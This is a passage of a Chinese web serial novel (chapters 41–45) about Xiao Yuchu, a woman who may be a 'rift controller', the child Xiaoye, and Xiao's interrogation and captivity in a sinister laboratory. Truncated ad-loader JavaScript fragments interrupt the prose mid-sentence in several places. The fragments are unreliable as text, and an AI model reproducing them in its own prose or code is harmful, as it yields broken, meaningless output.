“你要是不告诉我，我们以后也没必要在一起了，桥归桥路归路，你从哪儿来的，就回哪儿去吧。”肖与楚说着站了起来。 “妈妈——”小野一下子扑过去拉住了肖与楚的衣角。“你不要走……呜呜呜……” 小野的哭声很小，但不知为什么，却扎进了肖与楚的心里，就好像这个孩子真的和自己有关一样。 该死啊。 本来没孩子啊，怎么总是会产生这种奇怪的感觉。 肖与楚从桌上的纸巾盒里抽出一张纸递给小野，又无奈地坐了下来。 “我们现在的情况很不乐观，你明白吗？”肖与楚给小野分析道，“那个夏霖虽然不是坏人，但这个地方跟我们想的不一样。你还记得昨天管委会那些人吗？” 小野点了点头。 “他们提到了一个地方，应该是实验室……” “我知道，实验室是做实验的地方，可是这跟我们有什么关系呢？”小野委屈。 肖与楚虽不愿往坏处想，但一提到实验室，她就觉得这里面肯定有蹊跷，也许他们会把小野和她一起打包送进实验室。到了那个时候，很多事就更麻烦了。 “我担心他们拿你和我做实验。” “做实验？”小野吃惊地瞪大了眼睛，“他们会这么做吗？” 肖与楚为了套出小野的话，坚定地点了点头。 “小野，你应该把知道的关于我的一切都告诉我，你妈妈为什么让你到这里来？是不是有什么其他目的？” 小野的表情变得复杂起来，好一会儿她都没有说话，只是坐在床上摩挲着她的布包。 “我说了，你不会骂我吧？”小野低声问。 肖与楚摇头：“不会。” 小野抿紧嘴唇，吞吞吐吐说道：“我……我没有妈妈。” “嗯？”肖与楚以为自己听错了，“你这话是什么意思？” “也不能说我没有妈妈，因为从血缘上来说，我真的是你的孩子。” “啊……”肖与楚惊讶。 “但我不是你生的，而是利用你的基因生产出来的孩子。”小野解释道，“他们生产了我，就是为了把我送到你身边。” “为什么要送到我身边？” “他们没来得及跟我细说。” “你口中的他们就是那些时空记录官吗？他们为什么来不及说？” 小野沉重地叹了口气，“我们的时空遭遇了一次非常严重的破坏，所有用来进行时空之间跳跃的穿梭机都被损坏了。” “谁干的？” 小野定定地看着肖与楚。 “总不会是我干的吧？” “他们说是你的同类。” 肖与楚脑海里又冒出了那几个字。“你是说裂缝控制者？” “嗯……”小野点点头。 “他们为什么这么做？” “我不知道，我没见过他们，我唯一见过的就是裂缝控 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 制者就是……”小野没说出最后一个字，但她的目光说明了一切。 肖与楚明白她说的是自己，可她心里却无法认可这个身份。 “我有很多事情不明白，我身上的出现的那些能力，跟你们有关系吗？你当初说因为你们改造我，所以我才有这些异能的。”肖与楚喃喃。 “没多大关系，他们只是激发了你的这部分潜能。”小野低声，“听说裂缝控制者本来就很强大，我们时空的人根本对付不了。” “是吗？”肖与楚脑海一片乱麻，“关于裂缝控制者的事情你还知道多少，都告诉我。” “我就知道这么多了。”小野道。 “那你一开始为什么不告诉我这些事？” 小野垂下了脑袋，道：“你没有身为裂缝控制者的记忆，就算我告诉你你也不会信的，说不定会把我当疯子。” 肖与楚发愣，她心里又产生了一种异样的感觉。如果小野说的都是真的，那么她为什么没有任何身为裂缝控制者的记忆？究竟发生过什么事？ 这一切，太奇怪了。 这一上午她的脑子里都被这些事情占据。到了中午，院子里的士兵给她们送来了一顿可口的饭菜。肖与楚向士兵打听了夏霖的动向，士兵模棱两可，似乎对夏霖的动向不太知情。 就这样，肖与楚和小野度过了非常安静的一天，直到夜幕来临后，外面传来了一阵敲门的声音。 院子里的士兵急忙过去开门，不一会儿就传来了急促的脚步声。 肖与楚本能地觉得事态不妙，她一直等到那个脚步声上楼，才迎上前去打开了房门。 出现在门口的是夏霖，她只身一人。 “跟我走。”夏霖面色沉重。 “去哪儿？” “医院。” “医院？” “乔一伊被人袭击了，正在医院躺着，她想见你。” 肖与楚一听急了：“她被谁打伤的？” “一个垃圾男人，上车再说吧。”夏霖说着就火急火燎转身下楼。 见她这么慌张，肖与楚没多想，便拉着小野t下了楼，几人上了一辆停在门口的小车。 在车上肖与楚才了解到事情原委，原来是有人想调戏乔一伊，她誓死反抗，却被对方开了瓢。 “抱歉。”夏霖语气诚恳，“我没想到会发生这种事，那个人我已经处理了。” 肖与楚哪里还有心思听夏霖道歉，她只觉得事情荒谬，怎么在庇护所还会发生这种事？ 车子摇摇晃晃，没过多久就开到了余北镇医院门口。夏霖把车开进了院子，停在了大楼门口。 夜色中这栋白色小楼格外朦胧，楼里有几扇窗户还透出来昏暗的灯光。 大厅很暗，门口还坐着个老大爷，他大概是太困了，倚着椅背在打盹，有人进来，他也没能睁开眼睛。 夏霖脚步匆匆、一口气带着肖与楚和小野上了四楼。楼梯间光线昏暗，左侧走廊上有一扇虚掩着的铁门。 “等等。” 夏霖正准备推开铁门，肖与楚叫住了她。 夏霖停下脚步，露出询问的眼神。 “你确定她在这儿？”肖与楚心生疑窦。 “当然，她就在里面，我一个医生朋友在照顾她。”夏霖说着推开铁门，“我就不陪你们进去了，还有点别的公务，等处理完会来接你们。” 她话音刚落。铁门里就传来了开门声，走廊上突然多了一道白色的冷光，一个穿着白大褂的高个人影走出房间，站在了光影之中。 远远看去，活像一个穿着白大褂的杀人魔。 “你们终于来了。”他低沉说道。 42. 042 肖与楚能感觉到眼前这个人的声音藏着一股隐隐的兴奋，像是嗅到了猎物的气息一样。 她直觉不妙，却不想对方竟然哈哈大笑起来。 “嘿嘿，”那人在远处抬起了手，猛地朝肖与楚挥，声音也变得娇嗔起来，“进来吧，进来吧。” 这是哪个路数？肖与楚迷茫。 “王医生，你快点带她们见人吧，我先走了。”夏霖撂下一句话就匆匆离开了，留下肖与楚和小野站在门口发愣。 “哎，站着干什么啊，我又不会吃人。”王医生嗲声嗲气地走了过来，肖与楚的人这才看清楚他的脸，他皮肤惨白，没有一丝血色，五官立体，但眼睛里却带着一股贱兮兮的笑意。 王医生的目光在肖与楚和小野身上打量了一圈，才道：“快进来吧，去病房，你朋友在等你们。” “她怎么样了？” “还行，伤口已经处理了，人受了点惊吓，需要休息。这个时候有朋友在身边，是最合适不过了。”王医生轻言细语地说道。 “哦，她这个人性格比较软，遇到这种事肯定很难过。” “是啊。”王医生叹气，“你们跟我来吧。” 肖与楚拉着小野进了门。 王医生就着昏暗的灯光往前走，走到那扇门前，他朝里指了指，示意肖与楚和小野进门。 “就在里屋。” 眼前这个屋子看起来是间操作室，一条长桌上放着一些医疗器材，最里面还放着一个小推车。 “乔一伊。”肖与楚在门口叫道。 “小点声，她刚睡着。”王医生随手一推，就把肖与楚和小野推进了门，接着他就很利索地把门关上了。 肖与楚背后一阵恶寒，她灵机一动，反手抄起桌上桌上的一个针筒就朝王医生的喉咙扎去。 “别——”眼看针筒近在咫尺，王医生贴着门，露出惊恐神色，“我不是故意的。” “乔一伊不在这儿吧？”肖与楚双眼放出阴冷的光芒，“你骗我们。” 王医生愣了几秒，又尴尬地笑了笑。“被你看出来啦？” “说吧，你们想干什么？”肖与楚问。 “既然如此，我就坦白了。”王医生往后退了退，对肖与楚手里的针筒避之不及，“我听夏霖说起你们的事，所以才拖她找你们过来问问。” “你想问什么？” “哎。”王医生默默把针筒推远了些，“我先自我介绍下，敝姓王，单名一个升字。”还没等肖与楚说话，他又一摆手，“哎，你不用自我介绍了，我已经知道你们俩的名字了。” 肖与楚眯了眯眼睛。 “唉——肖女士，”王升表情瞬间变得严肃，“夏雪和赵志的失踪是你干的吧？” “不是。”肖与楚否认。 “别不承认了，”王升撇着嘴，上下瞧着肖与楚，“夏霖都说过了，昨天一道白光后，夏雪和赵志就消失了，这种手法，和我认识的某类人很像。” “是吗？” “是啊。”王升露出若有若无的笑容。“裂缝，控，制，者，”他慢吞吞地吐出几个字，“如果我猜的没错，你应该就是裂缝控制者吧？” 肖与楚心里一惊，为什么王升说出了一直在肖与楚脑海中盘旋的几个字？ 他是谁？ 他想干什么？ “听不懂你在说什么。”肖与楚故作镇定。 “是真听不懂还是假听不懂啊。”王医生直起身子，“不满你说，我也是别的时空过来的人，我对你们这个群体了解过一些。” “你不会得了什么臆想症吧？”肖与楚露出一副打量精神病人的眼神。 “我怎么可能得臆想症！”王升挺起胸膛，指着小野，“你看她，一看就是那个什么时空记录官，他们那个时空的人，都挂着这个小布包，我没说错吧？” “这个包，是我捡的。”小野别过脸。 “捡的？”王升冷哼一声，“这种东西可不好捡啊。不过，你们俩这关系我也很混乱，既然是母女，怎么会属于不同的种族？还是两个死对头种族，这里面肯定有故事。” 肖与楚抿紧嘴，不发一言。 “说起来我们和裂缝控制者也算是同类，肖女士，既然我们都流落到了这个时空，也算是天涯沦落人了。”王升说着一屁股坐了下来，又拉过来两张凳子。“我们坐下说吧。” 肖与楚本不想多做停留，但刚刚听王升长篇大论一番，倒对他要聊的话题有了兴趣，她坐了下来。 看肖与楚很配合，王升继续说，“我以前听说有一个控制者，因为和其他人理念不合，所以独自逃了，到一个很平稳的时空隐居，昨天发生那种事，我就想起来了这个过往。我一直在想，那个人是不是你。” 肖与楚：“你在说什么？” 王升嘿嘿一笑：“我说你就是那个人。不过我就不明白了，既然你也在这个时空生活，为什么要把这个时空搞得这么乱呢？这对你有什么好处？” “我搞的？” “除了你有这个能力，还有谁？” “你搞错了，我没那么大能耐。” “昨天那件事已经证明你有这种能力了，你就算不承认，苗头也会指向你的。” “我说过了，昨天我都不知道发生了什么事，夏雪和赵志消失我也很意外。” “你这狡辩。这种事理论上只有控制者才能做到……” “我没必要狡辩。” 王升的脸上再次浮现出若有若无的笑容，他看起来也不像是想确认什么，而是在享受询问的乐趣。 “你问了这么多问题，也轮到我问你了吧。”肖与楚反问道。 “问我什么？” “你说的这个裂缝控制者什么的，他们很可怕？”肖与楚试探性问道。 “嗯……”王升清了清嗓子，“他们是一个很可怕的种族，没有良知，以毁灭其他的时空为乐趣。” “是吗？”肖与楚心里一紧，所以从这个层面上说，她的确有可能是毁掉现在这个时空的人。 “不过，也不是所有人都那样。” “这也很可怕了。” “是很可怕。”王升认同地点头。 肖与楚反问：“那你是从哪个时空来的？难道你就没有可能是控制者？” “我当然不是……我是穿行者。” “穿行者是什么东西？” 王升眯眼；“我才不是东西，我是可以在各个时空穿梭的人。” “你们跟那个什么裂缝控制者有什么不同？” “这不是显而易见吗？我们不能控制裂缝，能力没他那么大，而且也不能指定去哪个时空，去哪儿纯看运气。”王升回答道。 “那你们比他们也差太多了。” “比上不足，比下有余啊，”王升面色一变，又转移了话题。“我在这个时空生活很多年了，对这里有感情，也希望在这里活下去。现在控制者这么一搅合，这个时空已经在崩溃边缘了，哪怕这种空白之地也不会坚持很久的。” “什么意思……” “哎。”王升略微思考了一下，站起身，从桌上拿起了一杯水，又从一个盒子拿出了一只蚂蚁，他把蚂蚁扔进了实验用的铁盘里，又把水倒了进去，水很快在盘子里散开，蚂蚁慌张逃窜，躲进了几个没被 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 沾上水的小地方。“你看，我们现在所在的地方就像这些没沾上水的地方，虽然暂时是安全的，但区域会日渐缩小，终究我们会像这只蚂蚁一样无处可逃。” “所以庇护所有一天也会化为乌有。”看着逐渐被包围的蚂蚁，肖与楚喃喃说道。 “没错，现在这个地方是依靠一些有特殊能力的人在苦苦支撑，但这不代表他们没有私心，就像像赵志一样，他们随时会发起一些不必要的攻击。” 肖与楚笑了笑：“你一个其他时空的人倒是操心的很多。” “难道你不喜欢这个时空吗？”王升看着肖与楚，“如果你真是裂缝控制者，我希望你能救这个世界，而不是毁了它。” 眼见着水就要漫过蚂蚁的身体，肖与楚将手伸进铁盘，将那只蚂蚁救了出来，放在了盒子里。 “你太看得起我了，我能救的只有这只蚂蚁。” “是吗？”王升的眼里流出了失望。 虽然肖与楚一直很警惕，但似乎王升真的没想把她怎么样。等他们聊完了之后，来了一个呆头呆脑的士兵，把她俩接回了住处。 夏霖没有出现，据士兵说，是因为第四区有点麻烦，耽误了时间所以来不了了。 这真是让肖与楚魂不守舍的一个夜晚，她的脑海几乎要被“裂缝控制者”几个字占据。她从出生就生活在这个时空中，有完整的关于过去的记忆，也从未觉得身体里有另一个人，那个隐藏在身体里的人，是如何与她共存的？ 双重人格？精神分裂？ 肖与楚想不通。 而更为恼火的是，那种能力似乎只在关键时候才会迸发出来，根本不受她本人意志所控制，就算她想要为拯救这个世界做点什么，也无能为力。 想到最后，她的脑海里也只蹦出来一个想法：顺其自然。 要不然她还能怎么办呢，总不能去找人来激发自己的潜能吧。就这样她才终于安然进入了梦乡。 “我看，还是顺其自然吧。”王升对一脸严肃的夏霖说道。 夏霖神色一凛，反问道：“你说什么？” “我说顺其自然，”王升捋了捋头发，“我该问的都问了，她回的话有些是真的，有些是假的，但总的来看，有一点毋庸置疑，就算她是裂缝控制者，她也已经失去了过去所有的记忆，对自己的能力和过去一无所知。” “为什么会这样？” 王升摇摇头：“我也不清楚。我曾经在别的时空听过一些传言，但那些传言中都没有说明具体的原因，只是含糊地说她和那些人不对付。我看呐，她和那个小孩儿肯定都有很多故事，只是我们现在还没办法探查清楚。” 夏霖沉默了几秒，再问：“你确定没搞错？” “你也知道我的衍生能力是辨别谎言，怎么会搞错？”王升不满地哼了一声。 “如果没搞错，那她就不知道夏雪哪里了。” “嗯……” 夏霖的眼里闪过一丝悲伤，但片刻她就恢复了理智。“如果她是裂缝控制者，对我们来说最坏的结果是什么？” “现在就是最坏的结果啊，你们的时空都要完蛋了。”王升摇头叹气，“说不定这一切都跟她有关，只是她自己还不知道怎么回事。” 是这样吗？夏霖不敢相信，但她有一种直觉，这件事不能让太多人知道，否则后果不堪设想。 “嘀嘀——嘀嘀——”响铃声划破了房间里的宁静。 夏霖抬起手接通了通讯，只听到话筒里传来一个急促的声音：“夏长官，不好啦，第四区有麻烦。” “什么麻烦？” “有生物入侵，虫子，是虫子。” 43. 043 刺耳的警铃声将肖与楚从睡梦中唤醒，她睁开眼睛发现天没亮，但窗外却有光打了进来。 肖与楚急忙从床上竖了起来，走到窗边，观察外面的情形。从这个位置根本看不清光源来自哪里，但隐约能听到远方传来的吵闹声。 这吵闹声很细微，但是仔细听的话，会听到这其中似乎还隐藏着恐惧的尖叫。 这时，在楼下值守的那个士兵也跑了出来，他胳膊上的仪器嘀嘀作响。 肖与楚：“发生什么事啦？” 士兵抬头看了肖与楚一眼，说道：“好像是第四区出事了。” “出什么事？” “有外面的生物入侵。” 肖与楚：“不是说外面的生物很难入侵这里吗？” 士兵撇嘴：“还不是因为赵志消失了，少了一些屏障，所以才给外来生物机会，不过你也不用担心，有夏长官在，肯定能处理好的。” 肖与楚望着远处怔了几秒，又问：“知道是什么生物入侵吗？” 士兵挠了挠头说：“好像是……飞虫吧。” 飞虫，只是区区飞虫，就把庇护所的人折腾成这样？肖与楚心头泛起了疑惑，难道是这庇护所的生态太脆弱了，经不起任何打击？ 在肖与楚胡思乱想之际，士兵又说话了：“好了，应该解除了，不会有事了，继续睡吧。” 士兵说完伸了个懒腰，就回房了。 肖与楚站在黑暗之中，看着强光渐渐弱了下去，那些隐约的吵闹声，也渐渐消停了下去。 好像一切都结束了。她松了口气，返回了房间。 翌日清晨，第四区的夏霖却一脸凝重，她感觉到一股强大的威胁正在扑面而来，而她却对这种危险一无所知。 说起来，第四区是农作物生产区，有几十个立体蔬菜大棚，还有居住在这一区域负责生产的居民，昨晚的虫灾直接导致了数十人的异常死亡，还有好几个蔬菜大棚被毁了。 这可不是一个好预兆。 如果这样的虫灾再来几次，对庇护所来说就危险了。 造成这一切的后果，应该是因为赵志的消失，尽管余北镇是空白之地，但为了安全，还是有四个拥有时空隔绝异能人负责守护这片区域。如今少了一个，肯定给外面的不明生物留下了空间，想要入侵就变得容易了。 “受伤的基本上都处理完了。”王升满头大汗地跑了过来，拍了拍夏霖的肩膀，“你在想什么呢？” 夏霖回过神，第四区的一片狼藉再次映入眼帘，眼前这个仓库里聚集了不少人，呻吟声不绝于耳。 “我在想下一次危机什么时候来。”夏霖说。 “下一次？你都想到下一次了？光处理这一次就够我焦头烂额了。”王升举着戴着手套的双手抱怨道。 “我们跟你不一样，我们无处可去，这里住着好几万人，我总得为他们负责，想好下一次怎么办。”夏霖说。 “哎，”王升叹气，“你这个人啊，表面看起来嘻嘻哈哈的，责任心倒是没少，那为什么这些事核心区的人不去想呢？他们不应该最在意吗？毕竟他们可是享受着最好的资源呐。” “你小点声。”夏霖四下看了一眼。 王升叹了口气：“对了，我刚刚碰到了一个人，她说她有话要跟你说。” “谁？” “肖与楚的朋友，她受了点伤，来不了，说让你过去。” 听到对方是肖与楚的朋友，夏霖才想起来昨天她吩咐过其他人把肖与楚其中一个女性朋友送到了这里。 夏霖跟着王升的脚步走到了仓库最里面，来到了一个额头上包着纱布的女人面前。 这人正是乔一伊。 “啊——”乔一伊看到夏霖发出了一声尖叫，差点吓得从地上蹦起来。 “你叫什么，动什么呀？不想好啦？”王升无语。 “她……她……她……” “别她她她了，她们俩是完全不同的两个人，不会把你怎么样的。”王升解释。 乔一伊扶着疼痛的额头，质疑道：“不同的人？” “对啊，那个会炸脑袋的是她姐。” “哦——”乔一伊长吐了口气，“吓死我了。” “人我给你叫来了，你有话就赶紧说吧。” 乔一伊环视四周，尴尬地开口了：“这里人太多了，我们能不能换个地方说。” 看乔一伊那副便秘的表情，夏霖同意了她的提议，她和王升带着乔一伊走到仓库外面的角落里。 确认周围没其他人后，乔一伊才放松地抚摸了几下胸口，开始说话：“就是……嗯……那些飞虫，我觉得我好像见过。” “见过？” 夏霖和王升几乎异口同声。 “嗯。”乔一伊歪着头，眼里颇有些回忆往事的情绪。“说出来你们可能不信，我的男朋友，哦，不，是前男友，之前就被虫子吃了。” “被虫子吃了？”王升难以置信。 “不不不，”乔一伊又马上否认，“准确地说，也不是被虫子吃了，就是他和虫子融为了一体。我觉得昨天晚上那种虫子很像他身上的虫子，肖与楚说那种虫子是别的时空来的。” “别的，时空的，虫子？”王升在说这句话的时候倒吸了一口气。“这话不能乱说，得有证据。” 乔一伊为难：“昨晚的情况太混乱了，其实我也没太看清，但我隐约看到那些虫子好像幻化成了人形，当时我的脑海里就冒出了这种感觉，它的确很像我前男友。” “你这个隐约，好像的就没个准儿？” “我又不是火眼金睛，自然就只能到这儿了。” “行吧，要真是这样，很危险啊。”王升意味深长地看向夏霖，“接二连三被其他时空的生物入侵，只意味着一件事……” 王升没把话说明。 夏霖却感到脚底一股寒意袭来，她心里清楚得很，虽然他们暂时平息了这场灾祸，但是并没有真正消灭那些虫子，它们飞走了，而且随时会卷土重来。 而且这个地方接二连三有其他时空的物种进入，也意味着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这个地方不再稳定了。 “你们之前是怎么从他手里逃脱的？” “这个嘛……哎，”乔一伊一阵头痛，“那时候他应该没这么强，但我们也是拼了命才跑出来的。当时我和他的计划就是来这里避难，所以他真的跟过来也不奇怪。” “跟你在一起逃出来的还有谁？” “肖与楚啊！她胆子特别大，也很厉害，总之没有她我肯定逃不出来，如果你们真的没有办法对付那种虫子，可以去找她帮忙，她一定能发挥大作用的。” 乔一伊本来还想说一下小野的用处，但最终还是把话憋回了脑海里。从昨天这些人把她接到这个第四区开始，她的眼皮子就一直跳，她总担心肖与楚和小野遇到了什么危险，这么看，她们人应该还活着。至于其他的，能少说就少说吧，这段时间她已经见识到了言多必失的危险了。 等把乔一伊送回仓库后，夏霖急忙联络了在房子里看守的士兵，她原本以为自己能马上和肖与楚通话，搞清楚事情的真相，但马上她的希望之火就被浇灭了。 士兵告诉她，肖与楚被一帮穿着制服的人带走了。 听到制服二字，夏霖犹如晴天霹雳，她结束了通话，急忙把肖与楚被人带走了的事实说给王升听，王升的脸也刷地一下黑了下来。 两人都很清楚，能在夏霖眼皮子底下带走两个大活人的人，只有比夏霖地位更加高的人。 “应该是核心区的人干的。” “但是，他们要肖与楚干嘛？不怕她进去了把所有人都灭了吗？”王升半开玩笑说道。 夏霖摇头：“不知道，我得赶紧去找赵石川，让他去打探打探。” 夏霖交代了一些注意事项后，就马不停蹄地往赵石川的办公室赶去，她很不安，总感觉这背后有什么不为人知的阴谋。 正悠闲喝茶的赵石川在得知肖与楚被人带走后，也吃了一惊。 “消息走漏得这么快，”他气愤地放下茶杯，“他们居然这么快就把人带走了？” “怪我，只安排了一个士兵去看守。”夏霖反省道。 “看守的人多了就暴露了，”赵石川皱着眉在办公室踱来踱去，“也不知道是谁把人带走的，要是落在蒋帅奇手上就完蛋了。” “他……” 夏霖不禁打了个寒颤。蒋帅奇这个人她没打过交道，但是听过名字。听闻他为了找到破解时空裂缝的方法费劲了心思，那些外出的突击小队，还有很多匪夷所思的实验都是他安排的。他为人阴沉，很那琢磨透他的心思，人落在他手里是否还有活路，完全是看运气的一件事。 “我去核心区问问。”夏霖说着就要离开。 “你等等，”赵石川叫住夏霖，露出为难的神色，“恐怕你现在去不了了。” 夏霖不解：“发生什么事了？” 赵石川一脸严肃：“核心区刚刚发了指令，所有外来人不得入内。” 夏霖纳闷：“什么时候解封？” 赵石川摇头：“后面还有一句话，解封时间待定。” 44. 044 肖与楚从混沌中睁开了眼睛，看到了一片刺目的白，眼前一个模糊的人影正在盯着她的脸。 “你醒啦？”男人语气温柔，听起来好像是没什么恶意。 她费力地睁开眼睛，终于看清了男人的脸，身材清瘦，两颊凹陷，头发蓬松，鼻梁上架着一副厚厚的眼睛，看起来大约三十多岁出头吧。 不像坏人。 等等，肖与楚迅速理清了脑海里的思绪。今天早上她们原本是在房间里吃饭，但突然来了一队人马，说是因为第四区的混乱，要把她们转移到别的地方。 当时她也没多想，只是觉得反正都是在庇护所里动来动去，应该没多大问题。 可是刚上那辆车，她就被什么东西刺了一下，然后就昏过去了。 要命啊。 她还是太信任别人了，没想到有人在背后捅刀子。 既然花了这么大的气力把她弄过来，那么眼前这个人就肯定不是什么好人了。 肖与楚迷瞪着眼睛，环视四周，很快就看到躺在沙发上的小野，她紧闭着眼睛，身上的那个包不知去向。 “你别看了，我给她喂了镇定剂。”男人的食指指甲划过了肖与楚的脸庞，“我给你介绍一下，这里是我的实验室，我已经在这里干了小半年了，第一次捡到你这样的宝贝。” 呸—— 听到宝贝二字，肖与楚几乎是从灵魂深处发出了这个声音，但这个声音并未从她的口腔里吐出来。 她只是很平静地抬起头，瞥了男人一眼，又观察这个被叫做实验室的地方到底有什么东西。 眼前的景象肖与楚只在电视剧里见过，实验室里到处都是大大小小的器皿，而这些器皿中泡着各种生物的尸体，其中有些生物看起来根本就不像是这个时空能找到的。 除此之外，对面还有一个手术室？ 透明的玻璃窗里，有两个全副武装的的人在围着手术床忙碌，在肖与楚所在的位置，看不清那个人的脸，只能看见大概轮廓，应该是个男人。 眼前这个家伙可能是个什么科学狂人吧，肖与楚暗想。 “你的恢复能力怎么会这么强？”男人的手滑到了肖与楚的肩膀，两只眼睛像是盯着美味的猎物一般，“你是进化的？还是……从别的时空过来的？” “你在胡说什么啊。”肖与楚脱口而出，但下一瞬间，她就感到肩膀皮肤深处传来了一阵剧烈的疼痛。 她垂下目光，才看到自己的身体被固定在金属支架上，锁骨处被两根长钉贯穿，而男人的手就按在她的伤口上。 老……天……爷…… “痛吗？”男人的眼里散发出了兴奋的神色。 “……啊！”即使身体早已进化了，痛感并未消失。 “痛是好事，证明你还活着。”男人露出一丝苍白的微笑，“现在回答我的问题，你是进化的？还是从别的时空过来的？” “我……”肖与楚大汗直冒，“进……进化。” “所以，”男人缩回手，将手指上的鲜血擦在了他的白大褂上，“夏雪和赵志的消失，是因为你的异能？你把他们送哪儿去了？” “不……不知道。” “真不知道？” “嗯。” “呵——我听于柳说了在弘愿寺发生的事，她说老徐在临死前找了你，他为什么要找你呢？”男人仿佛在自言自语，“老徐这个人能预测一点点未来，他找你肯定是预测到了什么，你一定有什么关键性的作用。” “他只是……让我帮忙把照片交给他家人。” “他绝不可能因为这种小事情就麻烦你。”男人厚厚镜片底下的眼睛闪烁着光芒，“他这个人城府颇深，一定有其他事情瞒着我，我一定要弄明白。” “你……到底想干嘛？”肖与楚无语。 男人扶了扶眼镜，直起身子，似乎是在顺着肖与楚的问题，思考接下来的打算。 “显而易见，我要拯救人类，而你们都是我拯救人类的武器。” “武器？” “没错，你与众不同，或许老徐就是想把你送过来，才让你帮忙递照片。”男人猛地一拍手，满足地笑了，“对啊，我怎么就没想到呢，老徐一定是预测到我距离实验成功只有一步之遥，所以才这么做。” 扑通一声，对面手术室里传出来了声音，接着又是噼里啪啦的声音。 男人烦躁地走了过去，拍了拍玻璃。 “说了多少回了，小心一点。”他怒吼道。 里面的两个人点头哈腰，把那具人体的大腿抬了起来。 肖与楚这才看清了躺在手术台上的人，那人居然是国字脸？ 她不由得倒吸了一口气。 男人看手术室处理妥当后，才走了过来。 “那个人……怎么死的？”肖与楚问男人。 “你说手术室那个人？” “嗯。” “你们认识？” “见过。” “他被污染了。” “……污染？” “严重的精神污染，我在提取他身体内的病毒。” 原来如此。 “跟他在一起的那个人呢？” 男人刚想说点什么，手腕上的手表突然滴滴滴滴响了起来，他不耐烦地抬起手腕，看了一眼。 “你有时间关心别人，不如关心一下自己。”男人不耐烦地甩了甩胳膊，就转头急匆匆离开了实验室。 看见他离开，肖与楚不由得呼出了一口气。 但瞬间紧张害怕的情绪又弥漫开来，不知道接下来会发生什么，难道她也会像国字脸一样，躺在对面那张手术床上吗？ 这是极其可能发生的一件事。 不能坐以待毙，得做点什么。 肖与楚挣扎了一下，肩胛骨的疼痛感便迅速扩展到全身。 要挣脱这个东西似乎不难，但难的是如何带小野一起逃出这里。 虽然肖与楚不知道这是什么地方，但她可以确定的是这里肯定不止这个男人和手术室里那两个人。 肖与楚正思考着，手术室里的一个人似乎有什么事，他跟另一个人耳语了几句，就从手术室里走了出来。 他一出来，便和肖与楚四目相对，那张戴着口罩的脸蠕动了几下，也没说出什么来。只是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 默默地走到了实验台前坐下来，不知道捣鼓些什么。 “我能……问你一个问题吗？”肖与楚喘着粗气问他。 那人没有回头，也没说话。 “你……是什么时候在这里工作的？” 那人依然没有回答。 “我听刚刚那位说，他半年前就在这里工作了。” “朱博士来得早，我们才来三个月。” “所以这些人半年前就知道这个世界要崩塌了吗？”肖与楚喃喃自语道。 “这个世界是分等级的，站在高处的人，总是比站在低处的人看到的多，所以他们总是能未雨绸缪，我们这些人不过是蝼蚁罢了。” 就在那一瞬间，肖与楚感觉找到了一个细微的突破口，眼前这个年轻人似乎对这里的一切并不十分满意。 “听起来你和他们不是一路人。” 年轻人回头斜睨了肖与楚一眼，道：“我只是完成朱博士交代我的工作。” 肖与楚恍然：“刚刚那个人是你们的老板？” “他是不是都没什么要紧，”年轻人看了一眼沙发上熟睡的小野，“我看你有孩子，才跟你说这些。他的眼里只有他的实验，你们的生死他是不会在乎的。” “你什么意思？” 年轻人面无表情，他低着头一边做事一边说：“我的意思是你应该尽快逃出去，不然就没机会了。” 肖与楚听到年轻人这么说，脑子里嗡嗡的，她为自己刚刚的犹豫感到一丝后悔。 “你倒是挺实在。”肖与楚苦笑。 实验室里沉默了一会儿，肖与楚突然听到头顶传来嗡嗡嗡的声音，她抬头一看，是通风口发出来的声音。 肖与楚没觉得有什么异常，但年轻人却突然紧张起来，他蹭地一下从椅子上站了起来，盯着通风口。 “怎么了？”肖与楚问。 “没……没怎么？”年轻人的视线却随着响动声移动而移动，不一会儿，他的视线就落在了手术室里。 没等肖与楚明白是怎么回事，年轻人就已经跑到玻璃窗前，用力地拍打玻璃窗。 “小钱，快出来！”他大声叫道。 但小钱好像没有听见他的呼喊，他直愣愣地站在那里。不一会儿，从他头顶的通风口涌出了一团黑色的烟雾，那烟雾像是活的一样，围着小于的身体弥漫。 下一秒，小钱突然像一个失去灵魂了的人一样转过身来，他的口罩已经滑落到脖颈处，嘴巴张得老大，嘴里、鼻孔全是黑色的烟雾，连眼睛也被那团诡异的黑色烟雾占据了，也许是因为呼吸不过来，他惊恐地捂着脖子，祈求一般看着窗外的年轻人。 年轻人却因为如此恐怖的景象，吓得节节败退。 “不好了，快跑。”他大喊着跌跌撞撞地拉开了实验室的门，冲了出去。 肖与楚：…… 刚刚她还以为这个年轻人是个勇士，没想到看到这种场面也兜不住。 肖与楚看着手术室那张脸变得越来越扭曲，很快就干巴得像一张皱皱巴巴的树皮一样。接着，那团烟雾从通风口收了回去，肖与楚听到那响声朝着她的位置而来…… 45. 045 肖与楚猛地一下就挣脱了金属支架的束缚，顿时她两边肩膀传来一阵撕裂的疼痛。她一边留意着通风管道的声音，一边抱起还在昏睡的小野，撒开腿就往实验室外跑。 外面是一条笔直的走廊，走廊尽头是楼梯，肖与楚来不及多想，就赶紧朝着走廊尽头跑去。 她听到身后传来踢里哐啷的杂乱的声音，这迫使她脚步更加急迫，好在她速度快了不少，没几秒就赶到了楼梯口。楼梯上的门虚掩着，外面有阳光撒了进来，隐约似乎还有个人影在门口晃。 难道…… 不会，那团烟雾不会这么快。 肖与楚三步并作两步，踏上楼梯，窜了出去，一出门便感觉有炙热的光芒撒在她身上，一股莫名的热气顿时从脚底升了起来。 奇怪啦，怎么突然身体跟灌了铅一样……跑不动了…… 身体里滚烫、急躁的气息瞬间被一股阴凉的冷感所掩盖，无数说不清道不明的气流在她体内游走，连她的意识都变得模糊。那一瞬间时间似乎幻化成了千万个不同的时刻，所有感官都在身体内持续迸发，似乎还有一个游离的意识在脑海内跳动。 肖与楚感觉她马上就要涌出来。 